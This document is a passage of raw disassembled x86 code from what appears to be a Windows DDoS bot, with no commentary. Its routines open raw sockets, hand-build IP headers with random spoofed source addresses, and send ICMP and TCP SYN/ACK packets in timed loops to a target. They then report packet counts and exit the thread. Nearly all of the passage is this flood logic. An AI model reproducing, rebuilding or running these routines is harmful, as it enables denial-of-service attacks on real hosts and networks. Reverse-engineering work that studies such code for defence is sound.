arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408947
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_413D7F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_413D7F
		mov	edi, eax
		call	sub_41386E
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40CC09+378Do

var_2BC		= byte ptr -2BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		rep movsd
		push	1
		mov	ebx, 0FFh
		pop	esi
		push	ebx
		push	3
		push	2
		mov	[eax+19Ch], esi
		call	dword_44CD58	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E3
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2BC]
		push	offset unk_421204
		push	eax
		call	sub_413812
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C6
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_4014C6:				; CODE XREF: sub_401447+5Dj
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread


loc_4014E3:				; CODE XREF: sub_401447+3Bj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], esi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155A
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2BC]
		push	offset unk_4211BC
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153D
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_40153D:				; CODE XREF: sub_401447+D4j
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread


loc_40155A:				; CODE XREF: sub_401447+B4j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C1
		lea	eax, [ebp+var_2BC]
		push	offset unk_42118C
		push	eax
		call	sub_413812
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A4
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_4015A4:				; CODE XREF: sub_401447+13Bj
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread


loc_4015C1:				; CODE XREF: sub_401447+123j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	esi, dword_41F044
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_4015FF:				; CODE XREF: sub_401447+2EDj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AA
		push	41Ch
		mov	byte_4385E0, 45h
		call	dword_44CCDC	; ntohs
		cmp	[ebp+var_2C], edi
		mov	word_4385E2, ax
		mov	word_4385E4, 1
		mov	word_4385E6, di
		mov	byte_4385E8, 80h
		mov	byte_4385E9, 1
		mov	word_4385EA, di
		jz	short loc_40168A
		call	sub_41386E
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41386E
		add	ebx, eax
		shl	ebx, 8
		call	sub_41386E
		add	ebx, eax
		shl	ebx, 8
		call	sub_41386E
		add	ebx, eax
		mov	dword_4385EC, ebx
		mov	ebx, 0FFh
		jmp	short loc_4016A2
; ---------------------------------------------------------------------------


loc_40168A:				; CODE XREF: sub_401447+20Fj
		push	[ebp+var_1BC]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		mov	dword_4385EC, eax


loc_4016A2:				; CODE XREF: sub_401447+241j
		mov	eax, [ebp+var_18]
		mov	dword_4385F0, eax
		call	sub_41386E
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4385F4, dl
		call	sub_41386E
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_4385F5, dl
		call	sub_41386E
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_4385F6, di
		mov	word_4385FA, 1
		inc	edx
		mov	word_4385F8, dx
		call	sub_41386E
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	offset dword_4385FC
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4385E0
		push	[ebp+var_4]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401739
		inc	[ebp+arg_0]
		jmp	loc_4015FF
; ---------------------------------------------------------------------------


loc_401739:				; CODE XREF: sub_401447+2E8j
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42112C
		lea	eax, [ebp+var_2BC]
		push	ebx
		push	eax
		call	sub_413D8A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178D
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_40178D:				; CODE XREF: sub_401447+324j
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread


loc_4017AA:				; CODE XREF: sub_401447+1C9j
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	offset unk_4210CC
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401812
		push	edi
		lea	eax, [ebp+var_2BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40B2B5
		add	esp, 14h


loc_401812:				; CODE XREF: sub_401447+3A9j
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_409833
		push	[ebp+var_38]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182F	proc near		; DATA XREF: sub_40CC09+3496o

var_314		= byte ptr -314h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7D
		push	eax
		lea	eax, [ebp+var_314]
		push	offset unk_421248
		push	eax
		call	sub_413812
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AC
		push	esi
		lea	eax, [ebp+var_314]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40B2B5
		add	esp, 14h


loc_4018AC:				; CODE XREF: sub_40182F+5Bj
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_409833
		push	[ebp+var_10]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_40182F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CB	proc near		; CODE XREF: sub_401B7D+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_44CC60	; WSAStartup
		test	eax, eax
		jz	short loc_40190B
		xor	eax, eax
		jmp	loc_401B79
; ---------------------------------------------------------------------------


loc_40190B:				; CODE XREF: sub_4018CB+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_44CD7C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B71
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B67
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_44CCDC	; ntohs
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_44CCDC	; ntohs
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_41F04C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41F048	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_413CC0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4019F6:				; CODE XREF: sub_4018CB+25Dj
					; sub_4018CB+26Bj
		mov	[ebp+var_24], bx
		call	sub_41386E
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_34], ax
		call	sub_41386E
		mov	edi, eax
		shl	edi, 10h
		call	sub_41386E
		or	edi, eax
		push	edi
		call	dword_44CCDC	; ntohs
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_44CCD8	; ntohl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4138F0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3B
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41F048	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B64
		jl	loc_4019F6
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B64
		jmp	loc_4019F6
; ---------------------------------------------------------------------------


loc_401B3B:				; CODE XREF: sub_4018CB+247j
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_421280
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_409833
		add	esp, 10h
		jmp	short loc_401B67
; ---------------------------------------------------------------------------


loc_401B64:				; CODE XREF: sub_4018CB+25Bj
					; sub_4018CB+269j
		mov	ebx, [ebp+arg_8]


loc_401B67:				; CODE XREF: sub_4018CB+78j
					; sub_4018CB+297j
		push	[ebp+var_C]
		call	dword_44CD70	; closesocket
		pop	esi


loc_401B71:				; CODE XREF: sub_4018CB+5Bj
		call	dword_44CC48	; WSACleanup
		mov	eax, ebx


loc_401B79:				; CODE XREF: sub_4018CB+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7D	proc near		; CODE XREF: sub_40182F+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408947
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_413D7F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_413D7F
		mov	edi, eax
		call	sub_41386E
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CB
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC8
		push	1
		pop	eax


loc_401BC8:				; CODE XREF: sub_401B7D+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD7	proc near		; DATA XREF: sub_40CC09+28D5o

var_340		= byte ptr -340h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 340h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_41F044
		call	edi	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_44CD58	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401CA0
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_340]
		push	offset unk_4213F8
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C80
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_401C80:				; CODE XREF: sub_401BD7+84j
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_401CA0:				; CODE XREF: sub_401BD7+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_44CCBC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1E
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_340]
		push	offset unk_4213B0
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFE
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_401CFE:				; CODE XREF: sub_401BD7+102j
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_401D1E:				; CODE XREF: sub_401BD7+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8E
		lea	eax, [ebp+var_340]
		push	offset unk_421380
		push	eax
		call	sub_413812
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6E
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_401D6E:				; CODE XREF: sub_401BD7+172j
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_401D8E:				; CODE XREF: sub_401BD7+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401DC6:				; CODE XREF: sub_401BD7+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_40208A
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_44CCDC	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E39
		call	sub_41386E
		mov	esi, eax
		shl	esi, 8
		call	sub_41386E
		add	esi, eax
		shl	esi, 8
		call	sub_41386E
		add	esi, eax
		shl	esi, 8
		call	sub_41386E
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401E4F
; ---------------------------------------------------------------------------


loc_401E39:				; CODE XREF: sub_401BD7+233j
		push	[ebp+var_240]
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		mov	[ebp+var_20], eax


loc_401E4F:				; CODE XREF: sub_401BD7+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E6D
		call	sub_41386E
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E73
; ---------------------------------------------------------------------------


loc_401E6D:				; CODE XREF: sub_401BD7+284j
		push	[ebp+var_B8]


loc_401E73:				; CODE XREF: sub_401BD7+294j
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_16], ax
		call	sub_41386E
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_44CCDC	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset off_42137C
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F1F
; ---------------------------------------------------------------------------


loc_401EC3:				; CODE XREF: sub_401BD7+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset off_421378
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F1F
; ---------------------------------------------------------------------------


loc_401EE3:				; CODE XREF: sub_401BD7+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1F
		call	sub_41386E
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41386E
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_401F1F:				; CODE XREF: sub_401BD7+2EAj
					; sub_401BD7+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4138F0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_408AB6
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4138F0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_44CD3C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200C
		inc	[ebp+arg_0]
		jmp	loc_401DC6
; ---------------------------------------------------------------------------


loc_40200C:				; CODE XREF: sub_401BD7+42Bj
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_421310
		lea	eax, [ebp+var_340]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40206A
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_40206A:				; CODE XREF: sub_401BD7+46Ej
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
